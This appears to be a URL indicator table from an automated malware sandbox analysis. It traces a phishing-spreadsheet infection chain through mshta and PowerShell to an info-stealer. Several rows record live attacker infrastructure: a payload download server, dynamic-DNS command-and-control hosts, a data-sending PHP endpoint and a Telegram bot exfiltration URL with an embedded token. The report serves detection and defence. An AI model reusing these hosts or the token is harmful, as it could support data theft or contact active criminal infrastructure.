http://us2.smtp.mailhostbox.com	sihost.exe, 00000011.00000002.625935756.0000000002AAA000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002A9E000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002CB5000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002C9A000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net03	mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C401000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C412000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624885368.000000000057C000.00000004.00000020.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.625146284.0000000000964000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/search?q=	sihost.exe, 00000011.00000002.629360646.000000000370C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.3.176.138/xampp/sop/40.htax	mshta.exe, 00000004.00000003.416161559.00000000023FD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.3.176.138/xampp/sop/40.hta...se	mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dotnet.microsoft.c	sihost.exe, 00000011.00000002.629360646.0000000003856000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.3.176.138/xampp/sop/40.htahttp://192.3.176.138/xampp/sop/40.htaP	mshta.exe, 00000004.00000003.416161559.00000000023F5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.3.176.138/xampp/sop/40.htat	mshta.exe, 00000004.00000003.416265424.00000000001A8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414459456.00000000001A8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.416776034.00000000001A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000007.00000002.446514790.0000000012381000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C412000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624885368.000000000057C000.00000004.00000020.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.625146284.0000000000964000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C412000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624885368.000000000057C000.00000004.00000020.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.625146284.0000000000964000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://192.3.176.138/_	mshta.exe, 00000004.00000002.417101402.0000000003932000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.0000000003932000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.334	sihost.exe, 00000011.00000002.625935756.00000000027D4000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.000000000282C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027C6000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002776000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.000000000281E000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027F1000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029CE000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A16000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029E4000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029F2000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A3E000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002977000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029D7000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://go.micros	powershell.exe, 00000007.00000002.438678228.0000000002876000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://varders.kozow.com:8081	sihost.exe, 0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002691000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624471340.0000000000430000.00000040.00000400.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://exi.link/JkAPbLp	mshta.exe, 00000004.00000002.416660477.000000000016D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://api.telegram.org/bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=4039	bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.online-banking.business.hsbc.com.hk/portalserver/hsbc/dbbpage/commercial/online/timetabl	SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx, 44330000.0.dr, ~DF8426740EAF6412F3.TMP.0.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/search?q=wmf	bKVNuVuE.exe, 0000001D.00000002.629343652.00000000039BB000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.629343652.0000000003A4E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.3.176.138/xampp/sop/40.hta...	mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/q	sihost.exe, 0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624471340.0000000000430000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000007.00000002.446514790.0000000012381000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000007.00000002.446514790.0000000012381000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://reallyfreegeoip.org	sihost.exe, 00000011.00000002.625935756.00000000027D4000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.000000000282C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027C6000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.000000000274C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.000000000281E000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027F1000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.000000000294D000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029CE000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A16000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029E4000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029F2000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A3E000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029D7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://exi.link/JkAPbLAA	mshta.exe, 00000004.00000002.416660477.000000000016D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://checkip.dyndns.com	sihost.exe, 00000011.00000002.625935756.00000000027D4000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.000000000282C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027C6000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002733000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.000000000281E000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027F1000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002934000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A16000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029E4000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A2E000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029F2000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A3E000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029C7000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029D7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.entrust.net0D	mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C412000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624885368.000000000057C000.00000004.00000020.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.625146284.0000000000964000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000007.00000002.438678228.0000000002351000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 0000000C.00000002.457043354.000000000290C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002691000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 00000013.00000002.478034779.0000000002AFF000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://exi.link/S-	mshta.exe, 00000004.00000003.416265424.00000000001A8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414459456.00000000001A8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.416776034.00000000001A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://192.3.176.138/xampp/sop/40.htaC:	mshta.exe, 00000004.00000003.414459456.0000000000194000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.416265424.0000000000184000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.416776034.0000000000185000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://exi.link/JkAPbLEA	mshta.exe, 00000004.00000002.416660477.000000000016D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://exi.link/a	mshta.exe, 00000004.00000003.416265424.00000000001A8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414459456.00000000001A8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.416776034.00000000001A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://reallyfreegeoip.org/xml/	sihost.exe, 0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624471340.0000000000430000.00000040.00000400.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002733000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002934000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://192.3.176.138/xampp/sop/40.hta06	mshta.exe, 00000004.00000003.414459456.0000000000194000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.416265424.0000000000184000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.416776034.0000000000185000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000007.00000002.446514790.0000000012381000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/image	bKVNuVuE.exe, 0000001D.00000002.629343652.000000000390B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/server1.crl0	mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C401000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C412000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624885368.000000000057C000.00000004.00000020.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.625146284.0000000000964000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/search?q=test&oq=test&aqs=chrome..69i57j46j0l3j46j0.427j0j7&sourceid=chrome&i	bKVNuVuE.exe, 0000001D.00000002.629343652.00000000039BB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20a	sihost.exe, 00000011.00000002.625935756.000000000284C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002854000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A4C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000007.00000002.446514790.0000000012381000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	sihost.exe, 00000011.00000002.625935756.0000000002955000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.629360646.000000000370C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002914000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002927000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.629360646.0000000003758000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B28000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B15000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.3.176.138/xampp/sop/40.htalent%	mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org	sihost.exe, 00000011.00000002.625935756.00000000027FE000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027D4000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.000000000282C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027C6000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002776000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002733000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.000000000281E000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027F1000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002727000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002934000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A16000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A00000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029E4000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A2E000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029F2000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A3E000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029C7000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002977000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002928000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029D7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	sihost.exe, 00000011.00000002.625935756.0000000002955000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.629360646.000000000370C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002914000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002927000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.629360646.0000000003758000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B28000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B15000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=	sihost.exe, 00000011.00000002.625935756.000000000284C000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A4C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://exi.link/JkAPbLyX	mshta.exe, 00000004.00000002.416660477.000000000013A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.google.com/favicon.ico	bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B15000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.3.176.138/40/sihost.exep	powershell.exe, 00000007.00000002.438678228.0000000002876000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://aborters.duckdns.org:8081	sihost.exe, 0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002691000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624471340.0000000000430000.00000040.00000400.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002891000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://ac.ecosia.org/autocomplete?q=	sihost.exe, 00000011.00000002.625935756.0000000002955000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.629360646.000000000370C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002914000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002927000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.629360646.0000000003758000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B28000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B15000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.business.hsbc.com.hk/en-gb/resource-centre/commercial-tariffs)	SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx, 44330000.0.dr, ~DF8426740EAF6412F3.TMP.0.dr	false	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C412000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624885368.000000000057C000.00000004.00000020.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.625146284.0000000000964000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/sorry/index	bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://51.38.247.67:8081/_send_.php?L	sihost.exe, 00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://192.3.176.138/xampp/sop/40.htaJ6	mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anotherarmy.dns.army:8081	sihost.exe, 0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002691000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624471340.0000000000430000.00000040.00000400.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002891000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://exi.link/	mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://reallyfreegeoip.org	sihost.exe, 00000011.00000002.625935756.00000000027D4000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.000000000282C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027C6000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002776000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002733000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.000000000281E000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027F1000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002934000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029CE000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A16000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029E4000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029F2000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A3E000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002977000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029D7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://192.3.176.138/	mshta.exe, 00000004.00000002.417101402.0000000003932000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.0000000003932000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26a	bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.629343652.00000000039BB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/search?q=net	bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/sorry/indextest	sihost.exe, 00000011.00000002.629360646.0000000003799000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.629343652.00000000039F3000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.629343652.0000000003A6F000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.629343652.0000000003AA7000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.629343652.00000000039BB000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.629343652.0000000003A4E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
